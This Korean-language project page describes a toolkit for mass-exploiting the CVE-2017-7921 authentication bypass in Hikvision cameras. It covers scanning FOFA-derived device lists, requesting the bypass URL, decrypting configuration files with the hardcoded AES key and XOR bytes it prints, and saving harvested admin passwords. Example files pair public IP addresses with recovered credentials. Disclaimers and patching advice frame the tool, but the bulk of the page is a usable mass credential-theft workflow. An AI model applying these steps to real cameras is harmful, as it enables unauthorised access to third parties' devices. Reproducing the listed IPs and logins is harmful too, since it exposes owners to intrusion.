업데이트로 돌아가기
New releaseAug 10, 2026

CVE-2017-7921-Research-Toolkit GUI

FOFA를 사용하여 하이크비전(Hikvision)의 CVE-2017-7921 취약점을 신속하게 테스트하고, 로그인 계정과 비밀번호를 제공하며, json 파일을 출력합니다.

공유

CVE-2017-7921 Research Toolkit

보안 고지: 본 도구는 승인된 보안 연구 및 취약점 검증 전용으로만 사용하십시오.

목차


⚖️ 법률 및 윤리 선언

중요 알림: 본 도구를 사용하면 다음 조건에 동의하는 것으로 간주됩니다.

  • 공인된 테스트로만 제한: 명시적인 서면 승인을 받은 시스템에만 사용하십시오.
  • 법률 준수: 「사이버 보안법」 및 해당 지역의 관련 법규를 엄격히 준수하십시오.
  • 책임 있는 공개: 취약점 발견 시 공식 채널을 통해 제조사에 신고하십시오.
  • 교육 목적: 본 도구는 사물인터넷(IoT) 보안 인식을 높이기 위한 것입니다.
  • 책임은 본인에게: 본 도구를 남용하여 발생하는 법적 결과는 사용자 본인이 부담합니다.

본 프로젝트는 GitHub 보안 연구 정책Hikvision 보안 대응 센터의 공개 규정을 따릅니다.


📖 프로젝트 설명

Hikvision IP 카메라 CVE-2017-7921 인증 우회 취약점에 대한 대량 탐지 및 검증 도구로, 구성 파일의 자동 복호화와 자격 증명 추출을 지원합니다.

설계 목표

  • 보안 연구원이 대규모 장치의 보안 상태를 평가할 수 있도록 지원
  • 장치 소유자에게 자가 점검 기능 제공
  • 수정 권장 사항 보고서 생성 지원
  • 사물인터넷 장치 보안 업그레이드 촉진

✨ 기능 특징

  • ✅ JSON 형식의 장치 목록 대량 스캔
  • ✅ 다중 스레드 동시 탐지 (스레드 수 설정 가능)
  • ✅ 암호화된 구성 파일 자동 다운로드
  • ✅ 실시간 복호화 및 로그인 자격 증명 추출
  • ✅ 스캔 진행 상황 실시간 표시 (tqdm)
  • ✅ 결과를 JSON 보고서로 자동 저장
  • ✅ 중단 후 스캔 재개 지원

🛠️ 설치 방법

환경 요구 사항

  • Python 3.7 이상
  • Linux / macOS만 지원 (Windows에서는 일부 기능 제한)

의존성 설치

git clone https://github.com/[你的用户名]/CVE-2017-7921-Research-Toolkit.git
cd CVE-2017-7921-Research-Toolkit
pip install -r requirements.txt

requirements.txt 내용

requests>=2.28.0
pycryptodome>=3.15.0
tqdm>=4.64.0

📊 사용 방법

1. 장치 데이터 파일 준비

도구 디렉터리에 zc/ 폴더를 만들고 장치 목록을 JSON 형식으로 넣으십시오 (줄마다 하나의 장치 객체):

mkdir zc

파일 예시: devices_2025.json

{"city":"Lisbon","country":"PT","host":"109.50.152.186","link":"http://109.50.152.186:80"}
{"city":"Sao Paulo","country":"BR","host":"200.201.192.75","link":"http://200.201.192.75:8080"}

필드 설명:

필드설명필수
link장치 HTTP/HTTPS 접근 주소✅ 예
city도시 정보❌ 아니요
country국가 코드❌ 아니요
org조직/ISP 정보❌ 아니요

2. 스캔 도구 실행

python batch_decrypt.py

3. 대화형 조작 예시

════════════════════════════════════════════════════════════════════════════════
하이크비전 카메라 구성 파일 취약점 대량 스캔 도구
════════════════════════════════════════════════════════════════════════════════

사용 가능한 JSON 파일:
════════════════════════════════════════════════════════════════════════════════
1. devices_2025.json (45,678 바이트)
════════════════════════════════════════════════════════════════════════════════

파일 번호를 선택하세요: 1
선택한 파일: devices_2025.json
장치 데이터를 불러오는 중...

스캔할 총 장치 수: 2000
동시 스레드 수를 입력하세요 (기본값: 5): 10
동시 스레드 수: 10
스캔 시작...

스캔된 총 장치 수: 2000
취약한 장치 발견 수: 127

취약한 장치는 다음 파일에 저장되었습니다: vulnerable_devices.json

📁 출력 결과

스캔이 완료되면 vulnerable_devices.json이 생성되며, 취약한 장치의 모든 정보가 포함됩니다.

예시 출력:

[
  {
    "url": "http://109.50.152.186",
    "config_url": "http://109.50.152.186/System/configurationFile?auth=YWRtaW46MTEK",
    "username": "admin",
    "password": "123456",
    "city": "Lisbon",
    "country": "PT",
    "org": "ISP Telecom",
    "status": "success"
  }
]

🛡️ 방어 및 수정 권장 사항

장치 소유자를 위한 권장 사항

  1. 펌웨어 즉시 업그레이드: Hikvision 공식 웹사이트에서 최신 버전을 다운로드하십시오.
  2. 기본 비밀번호 변경: 이미 업그레이드했더라도 기본 admin 비밀번호를 변경해야 합니다.
  3. 네트워크 격리: 카메라를 별도의 VLAN에 배포하고 공개 네트워크에서 직접 접근을 차단하십시오.
  4. IP 화이트리스트 활성화: 신뢰할 수 있는 IP만 관리 인터페이스에 접근하도록 허용하십시오.

보안 전문가를 위한 권장 사항

  1. 스캔 결과 기밀 유지: 패치되지 않은 장치의 상세 정보를 유출해서는 안 됩니다.
  2. 수정 지원: 장치 소유자에게 적극적으로 연락하여 기술 지원을 제공하십시오.
  3. 규정 준수 보고: ISO 27001 표준을 충족하는 보안 평가 보고서를 생성하십시오.

🔬 기술 세부 사항

취약점 원리

  • 인증 우회: /System/configurationFile?auth=YWRtaW46MTEK은 하드코딩된 자격 증명을 사용합니다.
  • 약한 암호화: 구성 파일은 고정된 AES-ECB 키로 암호화됩니다.
  • 키 노출: 키 279977f62f6cfd2d91cd75b889ce0c9a가 펌웨어에 하드코딩되어 있습니다.

암호화 프로세스

  1. 암호화된 바이너리 구성 파일을 가져옵니다.
  2. AES-ECB 복호화 (첫 번째 블록 제거)
  3. XOR 혼합 (키: 0x73, 0x8B, 0x55, 0x44)
  4. 정규식을 사용하여 admin 계정 및 이후 비밀번호 필드를 추출합니다.

📝 라이선스

본 소프트웨어는 승인된 보안 연구 및 교육 목적으로만 제공됩니다. 사용자는 모든 적용 법률을 준수해야 합니다.


🙏 감사의 말

  • 신속하게 대응하고 펌웨어 업데이트를 배포한 Hikvision에 감사드립니다.
  • 취약점 분석 자료를 제공한 오픈소스 커뮤니티에 감사드립니다.
  • 본 프로젝트는 IoT 보안 연구 모범 사례를 따릅니다.

최종 업데이트: 2025-01-29 | 버전: v1.0.0 | 지원 CVE: CVE-2017-7921

카테고리